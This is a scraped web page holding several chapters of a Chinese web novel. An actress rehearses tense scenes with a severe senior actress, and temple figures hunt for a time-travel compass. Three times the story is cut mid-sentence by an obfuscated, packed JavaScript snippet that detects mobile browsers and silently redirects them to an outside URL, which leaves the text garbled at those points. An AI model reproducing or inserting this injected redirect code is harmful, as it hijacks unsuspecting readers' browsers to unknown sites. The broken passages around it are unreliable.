导演匠心独具,添加了一些搞笑的戏份——落花有意,流水无情,每次演到这里,秦小凡就频频笑场。 又菜又烂,但是嘻嘻哈哈,而且——没有眼力见。 终于,江一靳受不了秦小凡了。 那场戏份的设定里,师傅江一靳带着徒弟秦小凡去做一个社会类节目。原本的设定里,受访者声称自己是异食癖,此生从不喝水,只喝汽油。 为此,道具组给他准备了一瓶蜂蜜水,假装汽油,但是工作人员出了纰漏,忘记稀释。 等到江一靳和秦小凡饰演的记者拿着麦克风,看着对方演员喝下“汽油”的时候,后者突然张开血盆大口,露出被蜂蜜沾得发黄的牙齿,面露痛苦,一股粘稠的液体因着他稀疏漏风的牙齿缝,像梳子一样从他长大的嘴角慢悠悠地落下…… 秦小凡当即扔了手里的道具笔记本,蹲在地上,笑得直不起腰,整个人蜷缩在地上发抖。 等到她笑得差不多了,蹲着抬头往上看时,江一靳满面严肃,一丝不苟地站得笔直。 她稍稍低了低头,自上而下、面无表情地看秦小凡,好像在挑眉询问:啊?你到底在笑什么?有什么可笑的? 居高临下,又带了点瞧不上人的鄙夷,什么都没说,又好像什么都说了。 秦小凡当时就想了:一个人的眼睛里怎么能只有眼白呢,她的瞳孔到哪里去了…… 秦小凡的笑意戛然而止,尴尬地挂在她嘴角,不知道要怎么收起来,喉头里的笑声也不上不下地卡在里面。 她暗地里撇了撇嘴,搓了搓大腿侧边,扭扭捏捏地站起来,见不得人似的躲到吐出“梳子”的演员身后。 不专业的印象一旦形成了,就很难再改掉。 江一靳待人不客气,偏偏秦小凡自己也不争气。 她不是天赋型演员,和她一直以来做事的情况一样,非得等到重复了许多次,等到用无数次的经历堆成了本能,她才能得心应手。 那场戏后,秦小凡仍然缺乏经验,所以仍然频频出错,而江一靳向来严厉,没什么耐心的,就很难再给秦小凡好脸。 听完秦小凡的经历后,时扬嘴角抽了抽,心里更加打突突,更加没底。 合着只要认定了对方演技不合格,就再难翻篇儿了? 她没有任何办法,只希望对方这些年年纪大了,记性变差,顺利地把她俩搭过戏的经历忘掉——但她那点小算盘又落空了。 对方的记性那是相当的好,虽然过了七八年,仍然记得她。 当天晚上,江一靳见到时扬的第一句话就是:“我记得你,我们几年前合作过。” 时扬不敢造次,咧着嘴嘻嘻一笑,点头哈腰:“哎,前辈,晚上好,劳烦您还记得我。” 江一靳点了点头,算作打招呼,直到拍戏之前都没再说话。房间里的空气一时间凝滞下来,只剩下繁忙的工作人员来来往往。 时扬不知道要怎么跟她搭话,也不敢贸然开口,生怕自己活跃气氛不成,反倒不小心惹了她,她张了张嘴,又有自知之明地摸了摸鼻子,然后就像个小学生一样乖巧坐着。 她一面坐着,一面偷偷打量江一靳那张和她下辈子的妈妈江风华有八分相似的脸。 传说江一靳为了保持身材,已经很多年不吃米饭面条,脸上的面皮异常紧致地贴在头骨上,整个人及其瘦削,好在骨架不算小,故而没有羸弱之感,只显得利落干练。 她眉毛细长,眉尾往下,单眼皮细细地盖在炯炯有神的眼珠之上,只一眼,就会让人觉得遭到了她的审视,像一瞬间就能看破他人的伪装,让人不敢造次。 尤其透过她那双平静如潭水的瞳孔,时扬好像看到了醉酒后的江风华:只有时扬能知道,她下一世的那位母亲,每每在醉酒就就这样波澜不惊地看着自己的女儿,而后随手抄起个顺手的东西,像深渊里不知名的怪物突然冲出了平静的黑色湖面,卷起泛着土腥臭的泥水,张牙咧嘴地朝着时扬威压而来…… 等到时扬愣怔后反应过来,或是头顶上、或是手臂上、或是大腿上……只剩下被江风华砸烂的伤口,血迹斑斑,血流不止…… 时扬偷偷打量着她,忽的觉得手臂上一阵寒凉,冻得她赶紧抱着双臂瑟缩。 这些年虽然演技有所提升,自己本身也算是有点天赋,但在江一靳面前,仍然只能算个小学生,那点演技都不够人家看的。 时扬的第二场戏,还是杀人——放火且杀人。 昨天杀夫,今天杀婆母。 剧组临时搭建起的祠堂里,江一靳饰演的婆母背对着大门,面朝一整面墙的牌位,双手合十,跪在一个蒲团上。 故事中的婆母角色十几岁时嫁到申家,没过几年战乱四起,丈夫披挂出征,战死沙场,尸骨无存,只留下了头发花白的老母、二十多岁仍然一脸青涩的妻子,还有一个刚学会走路的幼子。 八年之后,老母忧思成疾,在一个风雪交加的夜晚含泪离去。 临终前,她将二十多岁的儿媳叫到榻前,让她发下毒誓:此生誓死守护申家名誉,坚守女子贞洁,抚育幼子。 于是,婆母的角色谨记这句话,将教导儿子作为自己一生的使命,一生未嫁,守着朝廷赐下的贞节牌坊,以此立命——她这大半辈子以贞洁立命,也将夫家的荣誉同样寄托在儿媳身上。 祠堂里的这部戏发生在时扬杀夫之后的第二年。 故事里,儿子死后,婆母每日都让儿媳跟在自己身后,让她日日和自己一起祭拜申家列祖列宗。 时扬饰演的角色无意间知道,当初欺骗自己的,不止有天阉的丈夫,还有这位不苟言笑但被她视作生身之母的婆母,所以她心灰意冷,决定再次杀人——在申家的列祖列宗面前杀人。 江一靳背对着时扬,口中念念有词,凑近了听,才隐约能听到她正在念佛经。 不过时扬不需要凑近,她日日跟在她身旁,早就知道她念的是什么。 时扬轻手轻脚地跨过门槛,走到距离蒲团几米远的地方,双手无力地垂在身侧,她抬眼缓缓扫了一整面墙的牌位,还有那个跪在牌位前,不消说也必然一脸虔诚的婆母。 “我儿今日来得有些晚了,不过不碍事,过来吧。” 江一靳冰冷的声音回荡在空旷的祠堂,好像射向了面前的牌位,又从那上面弹回来,咒语一样,无比清晰地弹进时扬的耳朵里。 时扬好像又听见了七八年前,第一次和江一靳合作时的声音,她心头暗暗咯噔一下,但没表现出来。 江一靳并未回头,只从宽大的袖袍中伸出一只手,指向身旁早就摆好的蒲团。 时扬站在她身后,没有动弹。 没有听见身后有所动静,江一靳起身,转过来,面对祠堂大门的方向站着,和时扬面对面。 时扬前一晚上已经背好了台词,正在心头忐忑不已地酝酿,要说出她今晚的第一句话,可看到转过来的江一靳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993126|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那一瞬间,她说不出话了。 时扬不知道怎么反应,因为——人变了。 江一靳让化妆师给她戴了个假瞳孔,此时她双眼里只有眼白,成了一个盲人。 “婆、婆母,今日,今日……” 时扬背得滚瓜烂熟的台词彻底烂在了她肚子里,断断续续尝试了几次,都说不出来一句完整的话。 “婆母,我——”时扬面上已经有了慌乱的颜色,双手捏着袍子两边的布料,捏得皱巴巴。 “停!” 江一靳深深看了她一眼,抬手示意,周遭的导演场记摄影等工作人员全部停下手里的动作。 - 时扬和江一靳的第二次合作,还是在她的束手束脚和莫名害怕中搞砸了。 越担心做不好,就越是做不好,因为担忧层层叠加,最后就会变成无比强烈的心理暗示,暗示担忧的人:别努力了,别尝试了,你做不好的。 一旦着了道,要是心里不够强大,只凭借自己的努力,这人就会很难走出来。 等到拍摄暂停的空隙,时扬自己冷静下来,想了又想,才慢慢尝试着理解了江一靳的设定。 故事里的婆母是个被封建叙事荼毒的人,她的一生都困顿在她婆母临终前的咒语里,一辈子没为自己活过,儿子的命就是她的命。 所以江一靳的设定是合理的,儿子横死后,她数十年的心血化成了一抔灰,所以哭瞎了双眼,这样更能体现一个爱子如命的母亲形象。 但是江一靳没有提前告诉她,时扬又对她有心理阴影,她心里攒着一口气,想要扬眉吐气,给这位前辈证明自己这些年有所进步,但……还是搞砸了。 春日的晚上仍然有点冷,再加上拍摄地在半山腰上,温度就更低了。 时扬身上裹了一件薄薄的黑色圆领羽绒服,她站在阴影里,看着几米外坐在折叠椅上、正面无表情拿着台本翻阅的江一靳,很想过去跟她说话,又不敢,所以就犹豫不决,一会儿往前、一会儿退回,跟多动症似的。 窗外突然飘进来一阵风,风钻进时扬裸露在外的脖子,冷得她一个激灵,忙吸了吸鼻子。 江一靳顺着声音抬起头,她看向阴影的方向,虽然一片黑暗,只能大致看到一个人形,却很笃定里面是谁。 声音干净利落,像砸落在地上的冰碴,不容拒绝:“过来!” 时扬蓦然听到一声呼喊,又是一个激灵。 想当年她高中的时候,上课不知道数学题的答案,心里暗暗祈祷老师不要喊到自己,却还是被叫起来回答,那时候和现在如出一辙。 可都差不多十年了,十年了,还是没有什么长进! 没出息的的东西!时扬在心里痛骂自己,还是恭恭敬敬地走向江一靳。 她缩着脖子,小快步走到江一靳近前,后者仰着头,甩上来一个眼刀,视线冰冰冷冷,凌厉十分。 时扬估计是被粗枝大叶的秦小凡同化了,有点看不懂江一靳的意思,她愣了愣,然后才从两人此刻你高我低的站位中咂摸出味道来,然后猛地蹲在了江一靳的折叠椅边。 且不说江一靳是她的前辈,能力出众的人,多多少少有些傲气奇怪,难免的嘛。 这是时扬第一次听到江一靳一口气说这么多话,她受宠若惊,一面战战兢兢,一面又无比认真。 好歹听明白了。 她第一次觉得江一靳其实也没秦小凡说的那么难搞,也没她印象里的那么严肃,虽然经常面无表情地板着一张脸,但人家真是有几把刷子的,而且也没藏着掖着,倾囊相授了。 短暂休息之后,拍戏继续。 13. 何为灵气? 江一靳面对祠堂大门,两眼无神,却好像能准确定位到时扬就在那里。 时扬慢悠悠地踱步到江一靳面前,看着她的一对盲眼,一时间没有说话,两行清泪却不自觉地落下来。 “婆母常伴青灯古佛几十个春秋,孤身一人,苦守申家名节,可曾有一瞬后悔过?” “这本就是身为女子的本分,世间女子都当如此,我又有何后悔?”江一靳语气淡然,似乎不想再继续这个问答,“我儿今日本就来晚了,便不要再消磨时间,同我一齐——” “可我后悔了!”时扬打断她的催促。 江一靳身形一顿,只当做没听见,“我已为你提前备好了蒲团,跪下吧,申家列祖列——” “我说,”时扬长呼一口气,“我后悔了!况且你申家本就不配!” 江一靳攥紧了衣摆,身侧的双手控制不住地开始发抖,她察觉到了儿媳今天的异常,并且很快就明白:时扬知道了真相。 她小心掩饰的谎言再也藏不住了。 时扬满目凄然,语气中尽是无边恨意,目光紧锁着面前摆了一整面墙的牌位,好像是要让他们看清楚,听清楚。 时扬不愿放过对方,乘胜追击:“婆母可知道,他是个天阉之人?” 江一靳虽然早就有所猜测,但她选择麻痹自己,只要这层窗户纸没被人捅破,就不是她儿子的错处! 但心里最介意的一处被时扬揭开,还是面对着列祖列宗揭开,江一靳浑身开始抖动,不知道是被气得,还是惶恐申家祖宗知晓。 “够了!你今日若是身体不适便早早回去歇息,不要在祖宗面前胡言乱语——” “因为你申家恶贯满盈,坏事做尽,所以遭了天谴,以至于断子绝孙!”时扬不顾江一靳的阻挡,梗着脖子,目眦欲裂,指着那些牌位破口大骂。 等到她骂完了,才突然泄了力气一样地,低垂下双肩,凄然地看着江一靳。 “我年少时就失去了双亲,本来都快要把你当做……” 母亲两个字并没有说出口,时扬突然紧闭双眼,忽而大大地张开,毅然决然地提步出了祠堂,将如遭雷击的江一靳留在身后。 “砰!”时扬从外面关上了门,将她所谓的婆母永远关在锁住了她一辈子的地方。 没过多久,火焰从大开的窗户处攀爬而上,浓烟滚滚。 江一靳仍然跪在蒲团之上,双手合十,口中继续念着佛经,死不悔改地要和她守护了一辈子的夫家名誉葬在一起。 - 拍戏中途又断了几次,因为江一靳要求严苛,总觉得不满意,时扬在她面前没什么话语权,她怵她,就算心里有点想法和建议,也不敢提出来。 如此一来,在江一靳的严格要求和时扬没有底线的配合之下,这场戏的完成度还算不错,但——主要的功劳都在江一靳。 不过时扬不计较,她本来也没人家弄得清楚,况且呈现出来的效果是很不错的,她也从对方身上学到很多。 无功无过,资质平庸,但好在听得懂人话。 这是江一靳对她的第二次印象,不过……还不够。 她记得几年前和时扬的第一次合作,对方只是个新人,因为那张脸有了入行的机会,至于专业性——不提也罢。 但她从中看出了一点所谓天赋的东西,亦或者说,是灵气。 灵气虚无缥缈,稍纵即逝,常常在人还没意识到的时候就消失得无影无踪,所以很多看似一辈子平庸的人,他们其实并不是真的平庸,而是运气不佳。 灵气曾经出现在他们的生命轨迹里,但他们忙于生计,迫于形势,所以生生错过了,一直到垂垂老矣的时候,都意识不到:他们也曾经有幸被一种叫灵气的东西眷顾过。 时扬意识不到她身上的灵气,她只是为了吃上一口饭,为了有事情可做,但江一靳意识到了。 她知道时扬前两年卷入过一些无谓的争端,本以为两年间她会潜心提升自己,不过这会儿,她有些把握不准了,不知道那灵气是否尚存——因为时扬这次的表现只能算得上是中规中矩,乏善可陈。 既然无可陈述,那就闭紧嘴巴好了。 临走的时候,江一靳最后瞥了一眼时扬,欲言又止,仍然没说出一个字,然后利落地转身离开。 她倒是利落洒脱极了,却不知道那一个眼神让时扬又是半宿没睡着。 第二次了,又只得到江一靳一个看不破的眼神。 - 十几天后,时扬的戏份结束了。 在这期间,江一靳和她还有几场戏,但好在比第一场戏的难度低,没有太大的情绪爆发,更多的只是婆媳之间的日常戏份,所以时扬很顺风顺水地度过了。 江一靳在第一场戏后,也再没有递给时扬什么她看不明白的眼神,更没有欲言又止的神情。 时扬起初还心里七上八下,觉得江一靳是颗定时炸弹,估摸着以后哪天可能就得爆发,炸得她又是一个措手不及。 可到了后面,江一靳那边也没出什么问题,随着越来越忙,越来越分不出精力,时扬再没有心思考虑别的。 离开剧组的那天,时扬捧着剧组工作人员给她事先准备好的花束,孤零零地离开了。她本想找雍导说会儿话,可对方忙得脚不着地,根本没时间跟她寒暄。 回到酒店后,她简单地收拾了收拾,然后在床上躺了一整天,等着弥补这些天来缺少的睡眠,也恢复恢复精力。 一天之后,时扬收拾好了她为数不多的行李,踏上了另一条路——却并不是回家的路,而是那日和白晓花去道观的方向。 出了影视城后,时扬一直往南边走。 大概小半个小时后,“清虚观”三个字引入眼帘。 道观破破旧旧,占地也小,虽然看着有些颓败,但透着几分韵味,像是存活了很久的老人,张大了一双浑浊的眼睛,毫无波澜地看着这一切。 二十几年后,这座道观就会和时扬梦里的情景一样,变成一片废墟,隐藏在青黄一片的杂草当中,只露出几根残垣断壁。 那日白晓花带着时扬来这里烧香转运之前,时扬原本就打算来这里,到一个名字里带着“清虚”两个字的地方。 也是巧了,白晓花跟她打算来的地方一样。那时候,时扬虽然心中欢喜,却什么也没说,只装作不耐烦地一个人在道观里四处转悠。 她一圈圈地一边转,一边找,想要找到那个她曾经见过的罗盘。 时扬猜想得简单,那个罗盘看着就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993127|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是个凡品,说不定她运气好,罗盘正好就是人家道观的看家宝物,供奉在哪个显眼的地方,没准儿她一找就找着了。 至于找到之后怎么拿到手里……嘿嘿,那就再凭她本事。 可她猜想得实在太简单。 时扬并不会料想到,这头她在找罗盘,另一头也有一方人马在找那东西。 只不过……一个只想不顾一切地把它毁了,另一个却铁了心的要得到。 时扬穿了件红色冲锋衣,戴了个口罩,一身裹得严严实实,只露出一对咕噜咕噜转动的杏眼。 一方面,既然是做贼,就得有做贼的模样;而另一方面,她也怕上次摔了一跤,如果已经被道观里的人记住…… 她起了个大早,这会儿道观里的香客还不算太多,只有寥寥几人颇有些虔诚地四处张望,一会儿叩头上香,一会儿环伺左右。 至于时扬……贼哪有虔诚的?她半点不虔诚,只想“拿”走道观的东西。 循着二十天前和白晓花来那一趟的记忆,时扬趁着几个扫洒的小道士不注意,三两下偷偷摸摸地入了后山。 她太紧张,所以跑得极快,没能听到道观后院一个角落的厢房中,一道苍老的声音和一道稚嫩的声音正在你来我往地交锋。 “师父,你千万要相信我啊,别听师兄他们几个胡说八道!我根本没看到过什么罗盘,更别说藏在我这儿了!” 小道士声音清脆而坚定,他身形瘦弱,脸型瘦长,瘦瘦黑黑,脸上的神情隐藏在昏暗的房间中,让人看得并不清楚,只能通过声音判断:他此时十分慌张,可能是被人冤枉了——也可能是被人发现了真相。 无为道长当然没能从小道士脸上看出什么迹象,但他面色不改,并不着急。 他两辈子加起来,活了一百多岁,吃过的盐比对方吃过的饭都多了去了,还能斗不过一个黄毛小子? 不过他现在也有了几分后悔,后悔十几年前留这小子在道观里。 无为道长看着不显山不露水,但他历经的事情多了,所以只需要一眼就能判断出来:这小子本性不佳,不适合修行,更不适合在他的道观里修行。 但也算他倒霉,偏偏就摊上了这件破事。 当年这小子三四岁的年纪,父母双亡,只有一个比他大二十岁的哥哥。他哥哥怕他影响自己娶媳妇成家,所以在一个濛濛细雨的早上,悄悄地把他放在了道观的门口。 这小子睡得死沉,一觉醒来伸了个懒腰,突然发现自己不是睡在他亲哥的家里,而是穿了件洗的发白的旧衣裳,饥肠辘辘地躺在道观门口的石阶上,腹中锣鼓震天,皮面上像遭了针刺,又冻又饿又受罪。 他当场就是一浪高过一浪的撕心裂肺的号丧,惹得早起洒扫的几个道士扔了手里的笤帚,三两下慌忙跑出来看。 同样跑过来察看的,还有留宿在道观内的几个香客,以及早起来观里求签的人。 一群人围得满满当当,水泄不通,叽叽喳喳,热闹极了。 等到仔仔细细地问了,才知道这小子大概是被家里人丢了。 围着看热闹的人议论纷纷,出主意的出主意,想法子的想法子。 最后想了个什么法子呢……想了个让道观又多一个人的法子。 14. 我问你东西在哪儿! 无为道长虽然是个修行之人,但他本来就算不上是个良善的人,一看这群混账就商量出个“站着说话不腰疼”的办法,立即就沉了脸。 话说得轻巧,好事都让他们做了,麻烦倒是不客气地留给他,没这么容易! 可他实在是倒霉,拒绝的话还没说出口,围观的人群里不知道什么时候来了个记者。 那记者架着个摄像头,着急忙慌地从人群缝隙里挤进来,怼着正瘫坐在台阶上哭哭啼啼的小孩子拍。 镜头又一转,直直地往面无表情的无为道长脸上怼。 见状,无为道长皱皱巴巴的脸慌忙换了个悲悯的神色,面带关心的把小孩子搀扶起来,挽在他身边,还慈爱地摸了摸孩子的头。 就这样,无为道长着了道,被人架着收下了这小子。 留在道观之后,果然不出他所料,这小子从小就搞些偷偷摸摸的小动作,偷师兄们的东西,偷道观里的香火钱,后来胆子越发大了,甚至连香客们的东西也敢偷走,还美其名曰:“顺手牵羊不为盗”。 上房揭瓦,混世魔王一样,扰乱得观里鸡犬不宁。 无为道长被他折磨得一把老骨头都快散架,后悔得快要呕出一口血,但这两年这小子不知道是不是渐渐长大了,自己安安分分的,不比前些年顽劣。 无为道长还以为他收了心,懂事了,刚放松了神经,就听到几个徒弟说这小子偷了个什么东西,还被他们发现了。 小道士处在变声期,公鸭嗓尖利刺耳,惹得本就烦恼的无为道长有些没耐心,但他忍住了。 “师父我当然是相信你的,但是你以前惹出过什么麻烦你也清楚。众口铄金,这次我要是让你随意糊弄过了,只怕几个师兄那里过不去。尤其是你四师兄,他更不会答应。” 小道士闻言,在阴影中抬起头,他看了看无为道长,然后低下头没再说话。 无为道长的第四个徒弟虽然内心纯良,但爱钻牛角尖,性子强势,为人刚强,而另一个最小的徒弟仗着自己年纪最小,本性也跋扈,因此两个人就如同针尖对麦芒,最不和气。 所以小道士存了心,心里暗暗发誓,非要整他四师兄一次,让他栽个大跟头! 八岁的时候,他偷了道观里一个女香客的包,“顺”走了里面的钱夹子,然后将偷来的包大摇大摆地扔在了四师兄的床上。 当晚女香客报了警,警察随之而来,并在老四床上搜出了女香客的包。尽管道观里的众人都知道,偷东西的不可能是纯良的老四,但赃物毕竟在他床上搜出来了。 虽然后来无为道长托商文载找了办法化解,但老四被他最小的师弟害得有苦说不出,只能背负骂名,打碎了牙往肚子里咽。 从此老四就记恨上小道士了,时时刻刻盯着他,只盼着他出错。 这次的祸事估计也是四师兄搞出来的,小道士心里唾骂着,恨恨地想。 无为道长见他不说话,继续循循善诱:“你几个师兄都说看到你鬼鬼祟祟地藏了个罗盘在床底下,赶紧拿出来吧,也省得我让他们去翻找,到时候大家脸上恐怕都不好看。” 小道士镇定自若,不慌不忙。 “师父,是哪个师兄说的我床底有东西,你就叫他去找好了!他既然言之凿凿,那他今天一定要找出来,不然我也不答应!” 他当然半点儿不慌,那东西昨天晚上就被他亲哥哥上山来取走了,他怕什么怕? 无为道长看他胸有成竹的样子,暗道不好,心里有了揣测,估计这死孩子早就把罗盘转移了! 他脸上仍然温和,只暗地里咬碎了牙,不死心地继续诱骗:“哎,本来想给你个机会的,既然你冥顽不灵,固执己见,那我就干脆说开了——你几个师兄已经报警了!” “报、报什么警?”小道士只有十几岁,毕竟年纪小,被无为道长这一吓唬,肉眼可见地慌了起来。 “那罗盘是某个大有来头的香客送上山来,赠给道观的,没想到转眼就消失了,人家当然不愿意就此罢休——” “什么香客,狗屁的香客!怎么会是他送给道观的?那是我捡的!我从后院的井里捡的!既然是我捡到的,那就是我的东西,怎么会是他的!” 小道士话音刚落,就看到他师父黑了脸,两只眼睛耸拉着眼皮,死死地锁住他。 无为道长盯着他,冷声问道:“东西呢,现在在哪儿?” “我,我,我不知道——” “我问你东西在哪儿!” “砰”的一声,无为道长暴戾而起,音量陡然拔高,手掌发了狠地拍在木桌上,溅起桌面上的一片灰尘。 小道士第一次见到他师父横眉冷对,怒发冲冠,好像要吃人。 他哑了嗓子,顿时害怕得说不出话来,舔了舔嘴皮子,然后才在无为道长阴沉的眸光中支支吾吾:“我,我昨晚听到几个师兄议论,说、说我偷了东西,我太害怕了就、就把它扔在了后山的悬崖底下……” 最后,无为道长恢复面色,复杂地看了小道士一眼,几个大步子走出了房门。 他说不上来现在是个什么心情。 他这些年和商文载找了那么久的罗盘终于快要得以见天日,一会儿觉得万般庆幸,终于有了个回去的办法,好让商文载可以回到过去和娘子团聚,可以施展抱负,也终于让他有了个报答对方的机会。 但……一会儿又觉得不舍。 他活了两辈子,五百年前和如今一对比,肯定心里有很多计较的。 私心来说,他并不想回去,任谁也不会放着个道长的位置不坐,而是回去继续当一个藉藉无名的老道士。 无为道长心里计较过很多次,每次都难以取舍。 但以前,那罗盘从来没有一丝要出现过的迹象,回到过去的希望也趋于渺茫,所以他表面和商文载同心协力、誓必要找出那罗盘来,实则暗地里暗自庆幸,幸亏那邪乎玩意儿消失得无影无踪,最好毁得粉身碎骨才好。 以前,他想不出个肯定的答案来,就不再多想。 可现在不同了,罗盘再现,情势容不得他不去想…… 他看着那雨雾蒙蒙的后山,又环顾了一圈儿熟悉的道观,脚下的步子不自觉地慢了下来。 这道观虽然看着破败,但里面的一砖一瓦都是他的心血,是靠着他的三寸不烂之舌和与商文载两世的人情世故,历经了数不清的曲折和转圜,终于才重新修建了起来。 他这辈子的骨血可以说全部都融进了这里。 门扉和窗户是他的口鼻眼耳,横梁和柱子是他的骨骼,大殿内的尊者是他搏动的心脏,大殿外蜿蜒无尽的溪流是他的血与汗……这道观是他的大半辈子,也是他卑微但固执的命。 这一世他才得到了所谓的造化,一路顺风顺水,扶摇直上,可也只不过在这没什么存在感的小道观里当上个道长。 前一世,他忍饥挨饿,经受过数不尽的苦寒,终于出人头地,得到了师父的青睐和看重,却在即将接过道长之位的时候,被几个师弟抱团欺压,联手坑害,最后差点落了个命丧黄泉的下场。 修行之人,谁不想羽化而成仙? 可是,是他不愿意了却尘世的纷繁,去追求那至高无上的理想吗? 并非不愿,而是他不能啊…… 古今多少人能得到命运垂青,千难万险之后还能保留赤诚之心,谨记来时之路,并且最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993128|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的成为了天上的神仙? 这种渺茫的机会,他一介凡夫俗子、资质平庸,早就不奢求自己能有幸得到,也不相信自己能成为命定之人,只愿意沾染了凡尘,循规蹈矩地当个小小的道长,也算得上逍遥自在。 可就算这样的愿望,也是他花了两辈子的代价换来的,现在要他舍弃了,他着实心不甘,情不愿…… 报恩是应当的,但商文载救他的恩情难道大过天吗?难道能大过他自己的个人欲望? 无为道长驻足在院子中,正胡乱地想着,身后一阵急匆匆的步伐惊醒了他。 他扭头一看,正是他那四弟子。 “师父,我有话要讲。” “嗯?” “昨天傍晚的时候,我在山脚下看到了小师弟的亲哥哥……” - 商文载接到无为道长的消息后,就马不停蹄地赶了过来。 这些年来,他叮嘱无为道长务必再找一找道观中有没有罗盘,另一边,他也没闲着,而是跨越大江南北的四处找寻。 他去了中国的大部分地方,去过西北漫无边际的沙漠,西南奇形怪状的山洞,东北绵延无尽的雪山,尤其在东部沿岸的各个道观,甚至连寺庙都打听了。 同样地,他也没放过境外的消息,将视线停留在各大拍卖行中,不敢有一点儿松懈。 听说了各种各样或许捕风捉影,或许空穴来风的异事奇闻,唯独没打听到他想要知道的东西,每次都是希望满满,但总是无功而返。 这次他得了朋友的一条信息,说其所在的考古队在大西北的沙漠边缘新出土了一堆墓群,考古队员在其中一座坟墓中发现了一个青铜罗盘,那罗盘上正好也有一些复杂的符文。 商文载得到了对方的通知,急匆匆地坐飞机赶过去,结果又是大失所望。 五百年前他没能看清楚道观中,那跌落在他脚边并发出清脆声音的圆盘是什么,当然就没看清楚那是个罗盘,自然也就不知道那罗盘上的细节。 但是无为道长看了个明明白白。 他是道教中人,偶尔也给人看看风水,正好是他的看家本领,自然而然地知道那就是个罗盘。 据无为道长所说,那罗盘和其他的罗盘相似,却有很大的不同。 由内向外拢共四圈,第一圈刻着八卦图,第二圈刻着十二时辰,第三圈刻着五行,和一般的罗盘没太大差别。 最大的不同就在于罗盘的最外围一圈,画着绵延的群山,群山上面还挂着一轮明月。 无为道长当时取了纸笔,按照他脑中残存的片段,依样儿把罗盘最外面一圈画了下来。 而商文载这趟大西北之行,在他看到新出土的罗盘样式的瞬间,骤然结束。 得到无为道长消息的时候,他刚回到北京的家,才收拾好行李,又马上出发往影视城的方向来。 等他到达道观后山的时候,已经是下午三点多。 早间雨雾蒙蒙,这会儿就烈日当头,虽然是春天,但头上直接顶着太阳,仍然受不了。 几个道士得到师父的命令,连道观的诵经修行也不让做了,被他差遣来鸟都不拉屎的后山,不知道前因后果地就是一通瞎找。 师父也是够奇怪的,他不叫小师弟那个罪魁祸首来后山将功赎过,将扔了的东西找出来,偏偏扯着他们这群无辜的人,来这里替他擦屁股! 心里本就感到莫名其妙,这会儿又挨了顶头的太阳暴晒,热出了一身臭汗,几个道士满肚子的怨言怎么都憋不住。 “大师兄,你说那罗盘真在悬崖底下吗?别是小师弟信口胡诌的吧?”小六擦了擦额头上的汗水,声音高亢,根本没想着避人。 15. 你是……时扬? “啪!”…… “啪!”他大师兄听了,左右环顾一圈儿,猛地一把拍在小六脑门上,“傻了吧唧的,能有你议论的份儿?干你的活儿!” 小六莫名其妙地挨了一脑门子,低着头翻了个白眼,嘴里嘟嘟囔囔的,不知道在抱怨些什么。 “你在小声说什么呢?骂我是吗?”大师兄挥了挥手里的柴刀,“刺啦”一声,他手边一丛荆棘应声而断。 小六看他手里的刀,哆哆嗦嗦连小声嘟囔也不敢了,没种地缩了缩肩膀,“没,我没说什么,我说这日头可热可热。” 除了最小的小师弟,小六年纪最小,也不到二十岁,他害怕这个有些严肃的大师兄,但老三可不怕。 老三扔了手里的柴刀,气如洪钟地也质疑起来。 “不过大师兄,我也觉得东西真不一定在悬崖底下。” 他一屁股坐在收拾干净杂草的土堆上,清了清嗓子,“依小七偷鸡摸狗的性子,见了这么个值钱的玩意儿,他能甘心就这么扔了?说不定早都藏起来了,指不定等着哪天借个下山的由头,转头倒卖呢!那可是古董啊!” 大师兄没说话,继续用柴刀砍着前方深不见人的灌木丛。 “啪——”幽暗茂密的灌木丛从根上断开,树枝伏倒在铺满杉树毛的地面上,开出一米来的路。 “也就是师父,年纪大了,脑子转不快,容易被小七骗!可咱们这几个人也不是没脑子的,能让一个半大小孩儿糊弄了?”老三“呸”一声,吐一口痰在树干上。 除了小师弟被师父锁在后院的房间里,其余的六个人全部被师父派到后山,找那劳什子的罗盘。 他们三个人分成了一组,老二老四还有老五分成另外一组,分成两路寻找。 要是他们那小师弟一股脑儿全交代了,他们六个人也不至于现在累得满头大汗地往悬崖底下开路。 那死小子只承认自己把东西扔在悬崖底下,至于到底扔在了哪里,死个祖宗也不愿意再说! 老三一面想着,一面恨不得生生啃了他那小师弟的肉。 要说心里没点怀疑,是不可能的。 他们是一类人,都心术不正,他最了解小师弟,看着老实巴交,实际上比他还贪财,虽然比他小了快十岁,胆子可比他大多了。 那是个生下来就活该能干“大事”的! 老三暗暗想着,见大师兄不说话了,心想着还有转圜的余地,对方不过是因为有个大师兄的身份,一时半会儿拉不下来脸,所以他索性起了个头,也顺便拱个火。 